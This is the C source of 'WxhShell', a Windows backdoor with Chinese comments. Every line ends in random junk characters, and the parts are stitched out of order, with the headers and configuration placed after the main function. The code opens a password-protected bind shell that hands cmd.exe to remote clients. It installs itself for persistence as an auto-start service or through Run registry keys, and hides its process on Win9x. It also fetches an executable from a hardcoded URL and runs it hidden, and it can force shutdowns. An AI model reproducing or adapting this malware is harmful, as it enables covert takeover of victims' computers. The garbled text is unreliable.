    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); K_`*ZV{r  
    if(Boot(SHUTDOWN)) w;QDQ fx0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $E|W|4N  
    else { #`GW7(M  
    closesocket(wsh); G"MpA[a_  
    ExitThread(0); 3HbHl?-UNU  
    } Xkl^!,  
    break; 4PiNQ'*  
    } XoSjYG(>,  
  // 获取shell p"H8;fPA0  
  case 's': { r_xo>y~S  
    CmdShell(wsh); fY=iQ?{/[  
    closesocket(wsh); YO!,m<b^u  
    ExitThread(0); = k3O4gE7  
    break; q~trn'X>  
  } |!%A1 wp#  
  // 退出 p{Pa(Z]G  
  case 'x': { W~k!qy `  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); [&nwB!kt  
    CloseIt(wsh); U]R?O5K  
    break; 8tA.d.8  
    } [tMf KO  
  // 离开 + y.IDn^  
  case 'q': { ,_rarU)[J  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); CG9X3%xO%  
    closesocket(wsh); )[oU|!@  
    WSACleanup(); *BXtE8 BU  
    exit(1); $%r|V*5  
    break; 6xL=JSi~  
        } 8<n8joO0  
  } #j-,#P@  
  } 2+=|!+f  
HC{|D>x.  
  // 提示信息 />ob*sk/Y  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); .?I!/;=[  
} iZMsN*9[  
  } #-'}r}1ZT  
|B`-chK  
  return; ]Vb#(2<2  
} =V5.c+  
.yTk/x ?  
// shell模块句柄 sF+0v p  
int CmdShell(SOCKET sock) Nr`nL_DQ  
{ %- A8`lf<  
STARTUPINFO si; 2)j\Lg_M  
ZeroMemory(&si,sizeof(si)); 1.,mNY^UN  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; d`~#uN {  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 1xguG7  
PROCESS_INFORMATION ProcessInfo; !-.-!hBN  
char cmdline[]="cmd"; f{AgKW9"  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ,dVCbAS@  
  return 0; (la<X <w  
} sx]?^KR:  
uTl:u  
// 自身启动模式 /kw4":{]  
int StartFromService(void) CCEx>*E6c  
{ ^OBaVb  
typedef struct W77JXD93  
{ :ZL>JVk  
  DWORD ExitStatus; r`;C9#jZ  
  DWORD PebBaseAddress; b,Z& P|  
  DWORD AffinityMask; ='VIbE@qC  
  DWORD BasePriority; t*qA.xc6  
  ULONG UniqueProcessId; d:pp,N~2o  
  ULONG InheritedFromUniqueProcessId; h.?[1hT4R  
}   PROCESS_BASIC_INFORMATION; "L8V!M_e  
awkVjyqX  
PROCNTQSIP NtQueryInformationProcess; BB%(!O4Dl  
(Wx)YI  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 9d{W/t?NH  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 0H>Fyl2_  
7_K(x mK  
  HANDLE             hProcess; tjd"05"@:  
  PROCESS_BASIC_INFORMATION pbi; vj^U F(X  
ZH0f32K  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); N!h>fE`  
  if(NULL == hInst ) return 0; N"T8 Pt  
%<M<'jxSca  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); u^]yz&9V  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); p +T&9  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); /vPb  
Iyc')\W&  
  if (!NtQueryInformationProcess) return 0; mefmoZ  
i;xg[e8.  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId());  Nl_;l  
  if(!hProcess) return 0; j}VOr >xz  
^m+W  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ,gOQI S56  
;etQ  
  CloseHandle(hProcess); ttsB'|p s  
8uT6QCf  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); .|aSGv E  
if(hProcess==NULL) return 0; aDOH3Ri0K!  
1|nB\xgu  
HMODULE hMod; OeAPBhTmFj  
char procName[255]; z9+94<J  
unsigned long cbNeeded; D/:)rj14b  
}cPV_^{  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); {``}TsN  
?+|tPjg $  
  CloseHandle(hProcess); Bjo&  
TdE_\gEo/R  
if(strstr(procName,"services")) return 1; // 以服务启动 f.f4<_v'h  
5o3_x ~e  
  return 0; // 注册表启动 L|Ydd!m  
} %om7h$D =`  
E1C8yIF  
// 主模块 >WDpBn:  
int StartWxhshell(LPSTR lpCmdLine) gK<-*v  
{ h4qR\LX  
  SOCKET wsl; gU~)(|Nu.  
BOOL val=TRUE; up1aFzY|6x  
  int port=0; !<LS4s;  
  struct sockaddr_in door; <=-\so(  
z<fEJN  
  if(wscfg.ws_autoins) Install(); 2"MI8EK  
Orb(xLChJ  
port=atoi(lpCmdLine); kp6x6%{K\  
M[{Cy[ta  
if(port<=0) port=wscfg.ws_port; 7_3O]e[8  
"J.jmR;  
  WSADATA data; Tk!b`9  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; amSyGQ2  
&7W6IM   
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   EsWszpRqb  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); AFFLnLA<L  
  door.sin_family = AF_INET; }M7kApb>Y  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Sy'>JHx  
  door.sin_port = htons(port); d J!o/y6  
-Fdi,\e  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 3?XLHMxW  
closesocket(wsl); e||_j  
return 1; %OtW\T=u  
} =z/F=1^<  
D1n2Z :9  
  if(listen(wsl,2) == INVALID_SOCKET) { 2|=_kN8;  
closesocket(wsl); kwL) &@  
return 1; Ih7Eq/iu  
} ry\']\k  
  Wxhshell(wsl); o{he) r6)_  
  WSACleanup(); VM,ZEt3Vy  
Za6oYM_z  
return 0; Hj\~sR$L-  
aOHCr>po,  
} ,$]q2aL  
qL P +@wbJ  
// 以NT服务方式启动 =c,gK8C  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ]x G8vy  
{ 3DHm9n+/:  
DWORD   status = 0; xAjQW=  
  DWORD   specificError = 0xfffffff; gAj)3T@  
wuk7mIJ  
  serviceStatus.dwServiceType     = SERVICE_WIN32; q KM]wu0Et  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ?R(3O1,v^  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; j vV8`BQ{  
  serviceStatus.dwWin32ExitCode     = 0; z~ H Gc"~  
  serviceStatus.dwServiceSpecificExitCode = 0; i njmP9ed  
  serviceStatus.dwCheckPoint       = 0; gJ&!w8v.  
  serviceStatus.dwWaitHint       = 0; ,_$"6  
tTt3D]h(  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ]#$kA9  
  if (hServiceStatusHandle==0) return; bIArAS9%  
8w&rj-  
status = GetLastError(); lnDDFsA  
  if (status!=NO_ERROR) s=TjM?)  
{ -T?IkL)  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; PNKT\yd  
    serviceStatus.dwCheckPoint       = 0; xu =B  
    serviceStatus.dwWaitHint       = 0; j;v%4G  
    serviceStatus.dwWin32ExitCode     = status; [hL1 PWKs  
    serviceStatus.dwServiceSpecificExitCode = specificError; !I[n|r"  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7fay:_  
    return; $vBU}~l7  
  } JF*g!sV%  
>, E$bm2  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING;  9+QrTO  
  serviceStatus.dwCheckPoint       = 0; 5E!m! nBZ  
  serviceStatus.dwWaitHint       = 0; IDh`0/i]  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Zir`IQ$  
} SR& mHI-f0  
skz]@{38  
// 处理NT服务事件,比如:启动、停止 F}]_/cY7B  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Q: O>kCDV  
{ RfBb{?PP)  
switch(fdwControl) |y% ].y)  
{ ~TH5>``;gF  
case SERVICE_CONTROL_STOP: `yAo3A9vk  
  serviceStatus.dwWin32ExitCode = 0; [M^[61  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ;g:bn5G  
  serviceStatus.dwCheckPoint   = 0; :BX{ *P  
  serviceStatus.dwWaitHint     = 0; )$B+ 3f  
  { !B lk=L+p  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); o# xg:m_py  
  } = Y-Ne6a  
  return; ?@?a}  
case SERVICE_CONTROL_PAUSE: io{H$  x(  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ;_/q>DR>,3  
  break; 8 %j{4$  
case SERVICE_CONTROL_CONTINUE: o0G`Xn  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Qc;[mxQe  
  break; B)]{]z0+`  
case SERVICE_CONTROL_INTERROGATE: Z9m;@<%  
  break; 51 0XDl~b  
}; A{I a21T7  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8 tygs  
} 'd^gRH<z  
9JV 3  
// 标准应用程序主函数 EQJ_$6  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 0;v~5|r  
{ 5 ek %d  
Sz|CreFK16  
// 获取操作系统版本 +.]}f}Y  
OsIsNt=GetOsVer(); uq4s bkP  
GetModuleFileName(NULL,ExeFile,MAX_PATH); SrtVoe[  
qW~ R-g]  
  // 从命令行安装 cIvYfgIo9  
  if(strpbrk(lpCmdLine,"iI")) Install(); e=l5j"gq  
~H|LWCU)K8  
  // 下载执行文件 AC:s4iacC  
if(wscfg.ws_downexe) { RzRvu]]8  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) p=+*g.,O  
  WinExec(wscfg.ws_filenam,SW_HIDE); O^Vy"8Ji}y  
} M`P]cX)x  
OawrS{  
if(!OsIsNt) { Z 'NbHwW}  
// 如果时win9x,隐藏进程并且设置为注册表启动 D}/=\J/  
HideProc(); r!$NZ2I  
StartWxhshell(lpCmdLine); mBZ Dl4 '  
} "QO/Jls  
else O*03PF^  
  if(StartFromService()) ]cqZ!4?_  
  // 以服务方式启动 z|]oM#Gt  
  StartServiceCtrlDispatcher(DispatchTable); !mxh]x<e  
else o9LD6$  
  // 普通方式启动 1O2h9I$bk  
  StartWxhshell(lpCmdLine); %DRy&k/T  
2^ bpH%  
return 0; ; G59}d p~  
} 3{4/7D cX  
?>.g;3E$  
*_<*bhR<  
te*Y]-&I|/  
=========================================== N9=r#![>,  
o`K^Wy~+k#  
U=i8>6V  
HS`bto0*  
R_Gq8t$  
^s@*ISY  
" S`c]Fc  
@ oz&  
#include <stdio.h> '^ e/F)0  
#include <string.h> QR5,_wJ&  
#include <windows.h> 5'kTe=  
#include <winsock2.h> *lerPY3 q  
#include <winsvc.h> c,+(FQ9  
#include <urlmon.h> P\X=*  
B!r48<p  
#pragma comment (lib, "Ws2_32.lib") cUZ!;*  
#pragma comment (lib, "urlmon.lib") *mQDS.'AB@  
`F2*o47|t  
#define MAX_USER   100 // 最大客户端连接数 $uUb$8 Bu  
#define BUF_SOCK   200 // sock buffer moVa'1ul  
#define KEY_BUFF   255 // 输入 buffer g;-+7ViIr  
G{f`K^  
#define REBOOT     0   // 重启 g2aT`=&Z  
#define SHUTDOWN   1   // 关机 n.a=K2H:V  
nrS[7~  
#define DEF_PORT   5000 // 监听端口 LN.Bd,  
*K}z@a_  
#define REG_LEN     16   // 注册表键长度 :nKsZ1bX  
#define SVC_LEN     80   // NT服务名长度 d7 gH3 l  
#U$YZ#B  
// 从dll定义API X&9^&U=e  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); b>bgUDq  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); uq|vNLW26  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Lov.E3S6;  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 3%[)!zKv  
miG; ]-"^  
// wxhshell配置信息 -; us12SZ  
struct WSCFG { P^b:?%  
  int ws_port;         // 监听端口 yul<n>X|  
  char ws_passstr[REG_LEN]; // 口令 0r0\b*r  
  int ws_autoins;       // 安装标记, 1=yes 0=no <t[Z9s$n  
  char ws_regname[REG_LEN]; // 注册表键名 d(X\B{  
  char ws_svcname[REG_LEN]; // 服务名 K#l  -?  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 5DkK'tCI9Z  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 )4!CR/ao  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 0H OoKh  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Ko$ $dkSE  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" QDjW!BsX3  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 q'%[[<  
.Yu<%  
}; _Sly7_  
0+K`pS'  
// default Wxhshell configuration v7o?GQ75  
struct WSCFG wscfg={DEF_PORT, I 9{40_  
    "xuhuanlingzhe", A;fB6  
    1, -YzQ2#K  
    "Wxhshell", l$k]O  
    "Wxhshell", vLv|SqD  
            "WxhShell Service", yN9$gfJC^  
    "Wrsky Windows CmdShell Service", YW?7*go'Z  
    "Please Input Your Password: ", {k_ PMl0G  
  1, o%V @D'w  
  "http://www.wrsky.com/wxhshell.exe", [!J @a  
  "Wxhshell.exe" Q? <-`7  
    }; ?qf:_G  
=E [4H  
// 消息定义模块 $@[dm)M  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; $f<eq7rRe  
char *msg_ws_prompt="\n\r? for help\n\r#>"; a1 4 6kq  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 'A@qg^e:`  
char *msg_ws_ext="\n\rExit."; <[Tq7cO0  
char *msg_ws_end="\n\rQuit."; P9 {}&z%:  
char *msg_ws_boot="\n\rReboot..."; zB#_:(1qK  
char *msg_ws_poff="\n\rShutdown..."; LyuSZa]  
char *msg_ws_down="\n\rSave to "; ~rgf{oGz  
N{1.g S  
char *msg_ws_err="\n\rErr!"; )myf)"l5  
char *msg_ws_ok="\n\rOK!"; l-<3{!  
22)0zY%\  
char ExeFile[MAX_PATH]; D'7A2f  
int nUser = 0; qhV,u;\.  
HANDLE handles[MAX_USER]; :`+|'*b(A  
int OsIsNt; Smq r q  
IvEMg2f}  
SERVICE_STATUS       serviceStatus; 2YL`3cgfb  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Q3'fz 9v  
0hrCG3k.91  
// 函数声明 0V<Aub[${  
int Install(void); x r-;,W  
int Uninstall(void); _7Xd|\Zc  
int DownloadFile(char *sURL, SOCKET wsh); m0=cMVCA!  
int Boot(int flag); rQ`\JE&`  
void HideProc(void); DNm(:%)0  
int GetOsVer(void); u iBl#J Q  
int Wxhshell(SOCKET wsl); |7svA<<[  
void TalkWithClient(void *cs); BCBEX&0hk{  
int CmdShell(SOCKET sock); X|X4L(i  
int StartFromService(void); +dqk 6RE  
int StartWxhshell(LPSTR lpCmdLine); OZ(Dpx(Q  
/C*~/}  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); B3y?.  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); y]yine  
jMN)?6$=  
// 数据结构和表定义 u|(Ux~O  
SERVICE_TABLE_ENTRY DispatchTable[] = 4^0d)+Ff  
{ w+t#Yb\7  
{wscfg.ws_svcname, NTServiceMain}, 7V~ "x&Eu  
{NULL, NULL} n 11LxGwk  
}; 8h*t55  
E)C.eW /  
// 自我安装 ~'NX~<m  
int Install(void) yOX&cZ[  
{ %9t{Z1$  
  char svExeFile[MAX_PATH]; {I4%   
  HKEY key; ctp?y  
  strcpy(svExeFile,ExeFile); {/-y>sm  
j_!bT!8  
// 如果是win9x系统,修改注册表设为自启动 }TSgAwsbC  
if(!OsIsNt) { MVeF e\r  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { F(d:t!  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); PXV)NC  
  RegCloseKey(key); ETM2p1 ru0  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { J4YT)-  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); *R5`.j =  
  RegCloseKey(key); t(}/g  
  return 0; A[RHw<  
    } GHv{   
  } Vd,'  s  
} 7e1dEgn  
else { z<a$q3!#  
I`22Zwq:  
// 如果是NT以上系统,安装为系统服务 T36x=LX  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 8QT<M]N%  
if (schSCManager!=0) St6aYK  
{ C`dkD0_  
  SC_HANDLE schService = CreateService  ( :  
  ( A'Gl Cp  
  schSCManager, 5gSylts8  
  wscfg.ws_svcname, 34z_+  
  wscfg.ws_svcdisp, "\7v  
  SERVICE_ALL_ACCESS, 0Y7$d`  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , B1E$v(P3M  
  SERVICE_AUTO_START, '0Lov]L  
  SERVICE_ERROR_NORMAL, nt=x]wEC  
  svExeFile, Vr 8:nP:  
  NULL, a>U6Ag<  
  NULL, ,"B?_d6  
  NULL, yk<VlS  
  NULL, ^ pj>9%  
  NULL qB:AkMd&  
  ); tmp6hB  
  if (schService!=0) bMsECA&  
  { 8q0I:SJy  
  CloseServiceHandle(schService); y=w`w>%  
  CloseServiceHandle(schSCManager); (z/jMMms  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); j?xk&  
  strcat(svExeFile,wscfg.ws_svcname); D z@1rc<B  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Rv,82iEKs  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); qYK4)JP  
  RegCloseKey(key); @M=$qO_$9  
  return 0; !x7o|l|cP  
    } \]I  
  } 8"x9#kyU<3  
  CloseServiceHandle(schSCManager); Tp?-* K  
} RwW$O@0  
} J@QdieW6  
vs +QbI6>-  
return 1; -j&Vtr  
} .Rvf/-e  
OqBC/p B  
// 自我卸载 p;0 PxL=  
int Uninstall(void) &iNS?1a%f=  
{ gXt O*Rfqk  
  HKEY key; h$pk<<  
ys%zlbj[  
if(!OsIsNt) { !4t`Hv?'  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { vG~+r<:  
  RegDeleteValue(key,wscfg.ws_regname); B!}BM}r  
  RegCloseKey(key); ?eV_ACpZ8  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { @ .gPJMA  
  RegDeleteValue(key,wscfg.ws_regname); -(9O6)Rs$  
  RegCloseKey(key); 7Lg7ei2mN7  
  return 0; } Gr&w-v  
  } d`Oe_<  
} xIL#h@dz  
} 0Gsu  
else { i6Qb[\;  
T#@{G,N  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); H@D;e  
if (schSCManager!=0) F.?01,J=1  
{ b/u8} J  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); J=iRul^S  
  if (schService!=0) 89Z#|#uM5  
  { d; =u  
  if(DeleteService(schService)!=0) { !^iwQ55e2A  
  CloseServiceHandle(schService); _{$fA6C  
  CloseServiceHandle(schSCManager); 4&{!M _  
  return 0; pDn&V(  
  } ,[X_]e;  
  CloseServiceHandle(schService); J4>;[\%m  
  } |@RpWp>2  
  CloseServiceHandle(schSCManager); b9uBdo@o  
} vd (?$  
} ]JdJe6`Mc  
6{=_718l`  
return 1; Jf_%<\ O  
} 514Z<omrK  
Uw)=WImz[  
// 从指定url下载文件 uv]{1S{tb  
int DownloadFile(char *sURL, SOCKET wsh) ` 1+%}}!$u  
{ NYB "jKMk  
  HRESULT hr; I9 &lO/c0  
char seps[]= "/"; ?3q@f\fZ  
char *token; gn)R^  
char *file; ((<`zx  
char myURL[MAX_PATH]; VEs5;]#<2D  
char myFILE[MAX_PATH]; ag 8`O&+  
"IFg RaP=  
strcpy(myURL,sURL); c}-(.eu  
  token=strtok(myURL,seps); :(, mL2[  
  while(token!=NULL) vHcqEV|P/n  
  { 3^wC<ZXcD  
    file=token; ?djQZ *  
  token=strtok(NULL,seps); bL1m'^r  
  } (3;@^S4&w  
?S tsH  
GetCurrentDirectory(MAX_PATH,myFILE); Ew$I\j*  
strcat(myFILE, "\\"); a#[-*ou`  
strcat(myFILE, file); Ck'aHe22'  
  send(wsh,myFILE,strlen(myFILE),0); Ri)uq\E/#  
send(wsh,"...",3,0); )`+YCCa6F  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); LFf`K)q  
  if(hr==S_OK)  tR)H~l7q  
return 0; Vrkf(E3_V  
else &<]<a_pw  
return 1; 8P2 J2IU  
_#C()Ro*P  
} vmX"+sHz$]  
:a0zT#u  
// 系统电源模块 qCPmbg  
int Boot(int flag) W Zn.;  
{ %,UPJn  
  HANDLE hToken; L{&U V0q!  
  TOKEN_PRIVILEGES tkp; Or0O/\D)  
3EK9,:<Cf  
  if(OsIsNt) { #hw>tA6  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); eu#'SXSC F  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); v=?2S  
    tkp.PrivilegeCount = 1; I#rubAl  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; sa&) #Z:  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); F]+~x/!  
if(flag==REBOOT) { r ?m6$  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) rcN 9.1  
  return 0; @It>*B yB.  
} =^;P#kX  
else { kcuzB+  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) >I"V],d!6  
  return 0; c&nh>oN  
} W!L+(!&H  
  } Zjh2{ :  
  else { ,5Vt]#F5@  
if(flag==REBOOT) { f 2YLk  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) {*m?Kc7k  
  return 0; OF U/gaO~  
} 98XVa\|tl  
else { 9 ; i\g=  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) rNDrp@A>  
  return 0; }T_Te?<&  
} /RnTQ4   
} zZ-\a[F  
RP4Ku9hk  
return 1; 1GCzyBSbb  
} Fr2N[\>s  
KzU lTl0  
// win9x进程隐藏模块 XzIx:J6  
void HideProc(void) }f}}A=  
{ 9LC&6Q5O&  
*Mc7f?H  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); [^YA=K hu  
  if ( hKernel != NULL ) {-/^QX]6  
  { NQHz<3S[  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Z~  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); kS5_&#  
    FreeLibrary(hKernel); B=f,QU  
  } &DG->$&|  
OWq'[T4  
return; dq;|?ESP  
} ENVk{QE!  
hB;VCg8  
// 获取操作系统版本 Lo.rvt  
int GetOsVer(void) 5Z/7kU= I  
{ K6JVg$  
  OSVERSIONINFO winfo; Ga>uFb}W~  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); K kW;-{c  
  GetVersionEx(&winfo); 2NGe C0=  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) uQ$^;Pr  
  return 1; eDI= nSo  
  else Df =dt  
  return 0; .jw}JJ  
} X r63?N  
k,F"-K+M  
// 客户端句柄模块 }GMbBZ:nKK  
int Wxhshell(SOCKET wsl) Dn9w@KO  
{ C;+(Zp  
  SOCKET wsh; @Hb'8F  
  struct sockaddr_in client; fc=Patg  
  DWORD myID; gU^$Sx7'  
-Y#sI3o*R8  
  while(nUser<MAX_USER) 8M,9kXq{L  
{ OI1ud/>h  
  int nSize=sizeof(client); #eZ6)i<  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); >Hb^P)3  
  if(wsh==INVALID_SOCKET) return 1; KOq;jH{$  
'+>fFM,*B  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); F7L&=K$2y  
if(handles[nUser]==0) d6{Gt"  
  closesocket(wsh); gbeghLP[?  
else sxKf&p;  
  nUser++; ?^mi3VM  
  } `nXVE+E@  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);  MTER(L  
mP38T{  
  return 0; Jb)#fH$L  
} hf/2vt m  
*_Z#O,  
// 关闭 socket #ge)2  
void CloseIt(SOCKET wsh) \@3Qi8u//  
{ 9Ya<My  
closesocket(wsh); 1 2++RkL#  
nUser--; up3O|lj4  
ExitThread(0); -4rDbDsr  
} kd:$oS_*s  
c3*t_!@oC  
// 客户端请求句柄 SKuIF*"! S  
void TalkWithClient(void *cs) )0vU k  
{ _\PNr.D 8  
o}Odw;  
  SOCKET wsh=(SOCKET)cs; -4w=s|#.\  
  char pwd[SVC_LEN]; PjT=$]  
  char cmd[KEY_BUFF]; .roqEasu8  
char chr[1]; v8gdU7Ll,  
int i,j; (6CN/A{qe  
M2x["  
  while (nUser < MAX_USER) { #*$P'r  
(iJ1 ;x  
if(wscfg.ws_passstr) { 5J)=}e  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); (BxJryXm  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); +MbIB&fRCB  
  //ZeroMemory(pwd,KEY_BUFF); 'bGX-C  
      i=0; > oA? 6x  
  while(i<SVC_LEN) { &C im!I  
"\Egs)\  
  // 设置超时 )k&a}u5y  
  fd_set FdRead; \~d";~Y`  
  struct timeval TimeOut; V@7KsB  
  FD_ZERO(&FdRead); K3uG2g(>2  
  FD_SET(wsh,&FdRead); oRKEJ Nps  
  TimeOut.tv_sec=8; KIA 2"KbjG  
  TimeOut.tv_usec=0; J89Dul l  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); @~<j&FTT  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); & gJV{V5Ay  
""Zp:8o  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); &1l=X]%  
  pwd=chr[0]; -LDCBc"  
  if(chr[0]==0xd || chr[0]==0xa) { o-xDh7v  
  pwd=0; $@d9<83=  
  break; ZvYLL{>}w  
  } -[= drj9I  
  i++; lf>*Y.!@me  
    } e__@GBG  
RsU3Gi_Zdz  
  // 如果是非法用户,关闭 socket Eca\fkj  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); D'Z|}(d&  
} -U<Upn)2  
kyAXRwzI  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 7&`}~$>}>e  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @prG%vb"  
(>mI'!4d  
while(1) { {X2`&<i6  
y@j,a  
  ZeroMemory(cmd,KEY_BUFF); OA:%lC!  
{T"0DSV   
      // 自动支持客户端 telnet标准   h2ZkCML  
  j=0; |/g W_;(  
  while(j<KEY_BUFF) { -~eJn'W  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); d!KsNkk  
  cmd[j]=chr[0]; 1Z[/KJ  
  if(chr[0]==0xa || chr[0]==0xd) { | K?#$~  
  cmd[j]=0; ;})5:\h  
  break; 7'wS\/e4a  
  } Qr1e@ =B  
  j++; ZpUCfS)|&  
    } j8|g!>Nv  
w ;daC(:  
  // 下载文件 hYQ_45Z*?  
  if(strstr(cmd,"http://")) { *A}cL  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); g }laG8  
  if(DownloadFile(cmd,wsh)) kc7lc|'z  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); mzQ`N}]T:  
  else b}T6v  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); zkTp`>9R  
  } /h v4x9  
  else { nR4y`oP+  
